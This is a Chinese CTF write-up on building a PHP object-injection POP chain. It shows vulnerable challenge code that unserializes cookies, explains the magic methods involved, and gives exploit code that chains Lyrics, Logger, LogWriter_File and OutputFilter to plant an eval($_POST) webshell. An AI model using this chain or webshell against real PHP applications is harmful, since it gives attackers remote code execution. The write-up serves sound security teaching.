php反序列化pop链一则
跟随wupco师傅学习
classes.php
<?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};
class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};
class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}
function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}
function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};
触发点是一个直接可以反序列化。
题目不难,pop链构造一下,最后是可以生成一个shell
可以看看如何构造pop链:http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
这里想记录的是构造pop链的一些过程,重新回顾一下。
unserialize
— 从已存储的表示中创建 PHP 的值
类里面经常会用到两种函数:构造函数和析构函数
构造函数:具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。比如__construct
这里特别注意一下,创建新对象的时候才会调用,所以反序列化的时候是不会调用__construct
析构函数:在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。比如__destruct
上面两种都是属于魔术方法,更多的魔术方法可以看:http://php.net/manual/zh/language.oop5.magic.php
所以找反序列化洞的时候一般可以重点关注两个魔术方法:__wakeup()
(反序列化的初始化调用)、__destruct()
当然wakeup是可以绕过的,具体可以看看CVE-2016-7124
铺垫完了~下面解析一下这个pop如何构造
漏洞触发点1:可以写log进一个文件:LogWriter_File::writeLog()
$this->filename
可控,注意不是$filename
虽然__construct
里面写了,感觉是没法跨目录写shell,$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
但是反序列化的时候是不调用的,所以我们可以直接把这个注释掉,然后再在类里面添加一行$this->filename = '../1.php';
但是这里的文件内容为空,应该如何写入内容?
可以看到最上面的,OutputFilter::filter()
,可以正则匹配空的,然后替换为shell内容,new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
漏洞触发点2:当然如何php如果版本不高于5.5的话,OutputFilter::filter()
,可以用正则的/e
模式来执行php代码
exp:
$fltr = new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
$fileformat_obj = new LogFileFormat();
$format = new LogFileFormat(array($fltr), "\n");
$filename = '1.php';
$logwrite_obj = new LogWriter_File($filename, $format);
$writer = $logwrite_obj;
$logger_obj = new Logger($writer);
$lyrics = 1;
$song = $logger_obj;
$lyrics_obj = new Lyrics($lyrics, $song);
echo base64_encode(serialize($lyrics_obj));
这里还有要说的坑点就是private变量,它最后周围是有不可见字符\x00
,所以如果不是base64编码的话,可以用%00
来代替。